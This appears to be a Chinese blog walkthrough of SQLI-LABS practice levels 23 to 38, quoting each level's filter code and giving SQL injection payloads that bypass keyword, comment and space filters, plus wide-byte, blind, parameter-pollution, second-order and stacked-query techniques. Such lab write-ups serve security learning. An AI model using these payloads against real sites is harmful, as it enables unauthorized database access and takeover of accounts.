SQLI-LABS 靶场通过小记(23~38)
Posted 曹振国cc
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQLI-LABS 靶场通过小记(23~38)相关的知识,希望对你有一定的参考价值。
23~38
Less-23:
$id=$_GET['id'];
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id); //获取getid的传参,搜索是否存在注释#,如果存在就用空 来代替,然后重新赋值给GET接受的id
$id = preg_replace($reg1, $replace, $id); //获取getid的传参,搜索是否存在注释--,如果存在就用空 来代替,然后重新赋值给GET接受的id
1.加单引号让后面闭合
?id=1' and 1=2 union select 1,database(),3'
2.使用逻辑运算注入
?id=1' and 1=2 union select 1,database(),3 or '1=1
Less-24:
通过二次注入修改其他用户的密码
密码:123456
重置密码
新密码为:caocao
修改成功
在本地查看用户名及密码,发现
admin
用户的密码已经被修改admin' -- qwe
用户的密码却没有被修改
Less-25:
通过提示我们不难发现
and
和or
都被过滤了
1.查看源码
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)//删除OR(不区分大小写)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)//删除AND(不区分大小写)
return $id;
}
2.双写搭配大小写匹配关键字绕过
?id=1' anANdD 1=2 union select 1,database(),2 -- qwe
3.关键字等价绕过
可以使用&代替and,url编码是%26
?id=1' %26 1=2 union select 1,database(),2 -- qwe
Less-25a:
不需要闭合
?id=1 anANdD 1=2 union select 1,database(),2 -- qwe
Less-26:
提示是过滤了空格和注释
1.查看源码发现过滤了,and,or,空格及注释
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\\/\\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\\/\\\\\\\\]/',"", $id); //Strip out slashes
return $id;
}
2.通过ascii码转url编码进行绕过
可替代空格的符号:%20 %09 %0a %0b %0c %0d %a0 /**/
经测试只有%a0可以替换成功
%26 &的url编码
%27 '的编码
?id=0%27union%a0select%a01,database(),3%a0%26%a0%271=1
Less-26a:
查看代码才知道是单引号括号闭合
')
?id=0%27)union%a0select%a01,database(),3%a0%26%a0(%271=1
Less-27:
过滤了常用注释和union、select,但是它的过滤并不完整
1.大小写交错绕过
?id=1'and%a0updatexml(1,concat(0x7e,(SeLEct%a0database()),0x7e),1)and'1=1
2.盲注绕过
?id=1'%a0and%a0if((length(database())=8),sleep(3),1)%a0and%a0'1=1 //数据库长度是8位
Less-27a:
双引号闭合,尝试时间盲注
?id=1"%a0and%a0if((length(database())=8),sleep(3),1)%a0and%a0"1=1
Less-28:
union select
大小写均被过滤,注释,空格都被过滤
?id=1%27)and%a0ascii(substr(database(),1,1))=115%a0and(%271=1 //有返回说明首字母ascii码是115是s
Less-28a:
1.同28题使用盲注:
?id=1%27)and%a0ascii(substr(database(),1,1))=115%a0and(%271=1 //正常
2.显错注入(28题也适用):
?id=0')UnIOn%a0SElEct%a01,database(),('3=3
Less-29(网站由世界上最好的防火墙保护):
在id后加入
\\
发现是单引号'
闭合
1.查询库名
?id=1' and 1=2 union select 1,database(),2 -- qwe
利用 tomcat 与 apache 解析相同请求参数不同的特性,tomcat 解析相同请求参数取第一个,而 apache 取第二个,如?id=1&id=2,tomcat 取得 1,apache 取得 2:
?id=1&id=0' union select 1,database(),2 -- qwe
Less-30:
双引号闭合
?id=1" and 1=2 union select 1,database(),2 -- qwe
?id=1&id=0" union select 1,database(),2 -- qwe
?id=1&id=0" union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
Les-31:
加双引号,报错发现需要双引号括号
")
闭合
1.同29题,注入爆库名
?id=1") and 1=2 union select 1,database(),2 -- qwe
?id=1&id=0") union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
Less-32:
加入传参发现都会加上转义符,尝试使用宽字节注入
1.宽字节注入
?id=1%df%27 and 1=2 union select 1,database(),2 -- qwe
?id=1&id=0%df%27 union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
Less-33:
同32题不用改payload
Less-34:
加反斜杠发现会被转义采用宽字节注入
1.宽字节注入
0%df' union select 1,database() -- qwe
0%df'%20union+selEct%201,group_concat(schema_name)%20from%20informatio n_schema.schemata%3b%23
Less-35:
在id后加入反斜杠,发现并不需要闭合
1.查询库名
?id=1 and 1=2 union select 1,database(),2 -- qwe
Less-36:
在id传参后加入反斜杠被转义
1.宽字节注入:
?id=0%df%27union select 1,version(),3 -- qwe
Less-37:
加入反斜杠发现会被转义,使用宽字节注入
1.宽字节注入
0%df'union select 1,version() -- qwe //查询数据库版本
Less-38:
1.解析源码
mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。(有这个才能进行堆叠)
分号我们可以加入注入的新的语句
2.堆叠注入
?id=1' and 1=2 union select 1,database(),version();-- qwe
以上是关于SQLI-LABS 靶场通过小记(23~38)的主要内容,如果未能解决你的问题,请参考以下文章